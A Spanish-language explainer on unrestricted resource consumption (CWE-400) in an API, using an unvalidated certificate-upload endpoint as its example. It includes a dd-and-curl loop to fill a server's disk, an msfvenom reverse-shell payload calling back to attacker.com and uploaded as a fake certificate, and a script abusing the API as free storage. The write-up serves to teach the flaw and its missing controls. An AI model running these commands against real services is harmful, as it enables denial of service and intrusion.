Tambien cuando una API no limita adecuadamente el consumo de recursos (rate-limit) por parte de los usuarios, permitiendo que consuman excesivamente:
- 💾 Almacenamiento (espacio en disco)
- 🌐 Ancho de banda (red)
- ⚡ CPU y memoria
- 📊 Bases de datos
El Problema Fundamental
🎯 CWE-400: Uncontrolled Resource Consumption
La API permite que los usuarios consuman recursos sin restricciones, lo que puede llevar a:
- Denial of Service (DoS) - dejar el servicio inutilizable
- Costos financieros elevados - más recursos = más dinero
- Almacenamiento de archivos maliciosos
Ejemplo
Subida de Archivos sin Límites
c
# El atacante crea archivos enormes con datos aleatorios
dd if=/dev/urandom of=archivo-grande.pdf bs=1M count=30
# Resultado: Archivo de 30MB creado
# Y la API lo acepta sin problemas:
POST /api/v1/supplier-companies/certificates-of-incorporation
Archivo: archivo-grande.pdf (30MB)
Respuesta: ✅ Éxito - Archivo guardadoProblemas Identificados:
- Sin validación de tamaño - acepta archivos de cualquier tamaño
- Sin validación de tipo - acepta .exe como si fuera PDF
- Sin rate-limiting - puedes subir archivos repetidamente
- Almacenamiento público - archivos accesibles públicamente
Ataque de Consumo de Disco
c
# Script para llenar el disco del servidor
for i in {1..1000}; do
dd if=/dev/urandom of=file$i.pdf bs=1M count=50
curl -X POST -F "file=@file$i.pdf" $API_URL
done
# Resultado: Servidor se queda sin espacioAlmacenamiento de Malware
c
# Subir un reverse shell como si fuera un certificado
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f exe > shell.exe
curl -X POST -F "file=@shell.exe" -F "companyId=123" $API_URL
# El archivo queda almacenado y accesible públicamente:
http://servidor.com/SupplierCompaniesCertificatesOfIncorporations/shell.exeAbuso como Almacenamiento en la Nube
c
# Usar la API para almacenar archivos personales
def upload_to_vulnerable_api(file_path, description):
files = {'file': open(file_path, 'rb')}
data = {'companyId': 'victim-company-id'}
response = requests.post(API_URL, files=files, data=data)
if response.json()['success']:
file_url = response.json()['fileUri']
print(f"Archivo almacenado en: {file_url}")
# ¡Gratis almacenamiento ilimitado!Unrestricted Resource Consumption ocurre cuando:
- No hay límites de tamaño en subida de archivos
- No se validan tipos de archivo correctamente
- No hay rate-limiting para prevenir abuso
- Los archivos se almacenan de forma insegura
- No hay escaneo antivirus para contenido malicioso